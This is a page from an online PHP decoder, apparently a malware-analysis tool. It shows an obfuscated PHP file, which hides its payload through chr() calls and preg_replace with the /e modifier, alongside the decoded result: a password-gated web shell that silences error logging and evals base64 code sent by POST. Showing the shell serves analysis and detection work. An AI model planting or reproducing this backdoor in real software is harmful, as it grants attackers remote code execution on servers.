Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $Fy8g5="\x70r".chr(101).chr(103)..
Decoded Output download
@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);
if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
foreach ($_POST as $var)
{
if (!isset($code)) $code = $var;
elseif (!isset($pass)) $pass = $var;
else break;
}
if ($pass == "SOMMBzfPxgoj0JdpdxtiyaD7vdK1xSra")
{
eval(base64_decode($code));
}
}
exit;
Did this file decode correctly?
Original Code
<?php
$Fy8g5="\x70r".chr(101).chr(103)."\x5F\x72\x65pla\x63".chr(101);$yNxwa="e\x76".chr(97)."l\x28".chr(98)."\x61\x73e6\x34_\x64".chr(101)."co".chr(100)."e".chr(40).chr(34).chr(81)."G".chr(86).chr(121)."c".chr(109)."\x39".chr(121).chr(88).chr(51)."\x4Al".chr(99).chr(71)."\x39y\x64\x47\x6C\x75\x5a".chr(121)."\x67".chr(119)."\x4B\x54\x73\x4bQ\x47\x6Cu\x61V9z\x5a\x58Q\x6F\x49".chr(109).chr(82)."p".chr(99).chr(51).chr(66)."\x73\x59Xl\x66".chr(90).chr(88)."\x4ay\x623J\x7A\x49i\x77".chr(119)."KTs\x4B\x51\x47lu".chr(97)."V\x39\x7a".chr(90)."X\x51\x6f\x49m".chr(120)."\x76Z1".chr(57)."\x6ccn\x4a\x76".chr(99)."nM".chr(105).chr(76).chr(68)."\x41\x70Ow\x70A\x61".chr(87).chr(53)."p\x58\x33NldC\x67".chr(105)."Z\x58J\x79".chr(98).chr(51)."Jf\x62G\x39\x6eI".chr(105)."w\x77".chr(75).chr(84)."\x73KCm\x6C\x6DI\x43h\x70c".chr(51)."NldC".chr(103)."\x6b".chr(88).chr(49)."BP".chr(85)."\x31".chr(81)."pI\x43".chr(89)."\x6d".chr(73).chr(71).chr(108).chr(122)."X2Fy\x63".chr(109).chr(70).chr(53)."K".chr(67)."\x52f".chr(85)."\x45\x39\x54".chr(86).chr(67)."\x6b".chr(103).chr(74)."\x69Yg".chr(89)."2\x39".chr(49).chr(98).chr(110)."Qo\x4A".chr(70).chr(57).chr(81)."T".chr(49)."\x4e\x55\x4b".chr(84).chr(52)."x".chr(75)."\x51p\x37\x43\x67lm\x623J\x6c\x59\x57".chr(78).chr(111)."I".chr(67)."\x67\x6b".chr(88).chr(49)."\x42\x50\x551\x51".chr(103)."\x59\x58".chr(77).chr(103)."\x4a".chr(72)."\x5A\x68\x63\x69\x6b".chr(75)."C".chr(88)."s\x4b\x43".chr(81)."\x6cp\x5Ai\x41\x6fIW\x6c\x7a\x632V0".chr(75)."CR\x6a\x62\x32".chr(82)."\x6C\x4b".chr(83)."kgJ".chr(71)."\x4E".chr(118)."Z\x47Ug".chr(80).chr(83).chr(65)."\x6B".chr(100).chr(109)."\x46y\x4F".chr(119)."\x6f\x4ACW\x56\x73c\x32\x56\x70\x5aiA\x6f\x49\x57".chr(108)."\x7A\x63\x32\x56\x30\x4BC".chr(82)."w".chr(89)."X\x4E".chr(122).chr(75)."S".chr(107).chr(103)."\x4A\x48B\x68c".chr(51).chr(77).chr(103)."\x50\x53A".chr(107)."\x64\x6d\x46\x79\x4F".chr(119).chr(111)."\x4a".chr(67).chr(87)."\x56sc\x32".chr(85).chr(103)."\x59\x6EJ".chr(108)."\x59".chr(87)."\x73\x37".chr(67)."g\x6c\x39\x43\x67o".chr(74)."aWYg".chr(75)."C\x52\x77Y".chr(88).chr(78)."\x7a\x49D0".chr(57)."\x49\x43\x4a\x54\x5401N\x51n".chr(112).chr(109)."\x55\x48\x68\x6e".chr(98)."2\x6F".chr(119)."S\x6d\x52\x77\x5a\x48".chr(104)."\x30".chr(97).chr(88).chr(108)."h\x52\x44\x64".chr(50)."Z\x45s\x78\x65".chr(70)."\x4E\x79Y".chr(83).chr(73)."pC\x67\x6c".chr(55)."\x43\x67kJ".chr(90)."\x58\x5a\x68b".chr(67)."\x68i\x59X\x4e".chr(108).chr(78)."j\x52f\x5a".chr(71)."V".chr(106)."\x622".chr(82)."l\x4BC".chr(82).chr(106).chr(98)."\x32".chr(82).chr(108).chr(75).chr(83)."k".chr(55)."C\x67l".chr(57).chr(67).chr(110)."\x30KZ\x58h\x70".chr(100).chr(68)."\x73".chr(61).chr(34).")".chr(41)."\x3b";$bypy="/\x35\x32\x630".chr(56).chr(99)."4".chr(102)."b\x30".chr(54)."\x38\x64\x31\x3753".chr(49).chr(49)."1\x32".chr(50)."31\x37e\x37\x65ae7".chr(97).chr(47)."\x65";$Fy8g5($bypy,$yNxwa,"\x35".chr(50)."\x630\x38c\x34\x66\x62".chr(48)."6".chr(56)."\x64\x31".chr(55)."\x35".chr(51).chr(49)."\x31".chr(49)."\x32".chr(50)."3".chr(49).chr(55)."e".chr(55).chr(101)."a\x657a");
?>
Function Calls
| chr | 180 |
| preg_replace | 1 |
| base64_decode | 1 |
Stats
| MD5 | 21aca7cf02325c315d438c16bf7d3883 |
| Eval Count | 2 |
| Decode Time | 194 ms |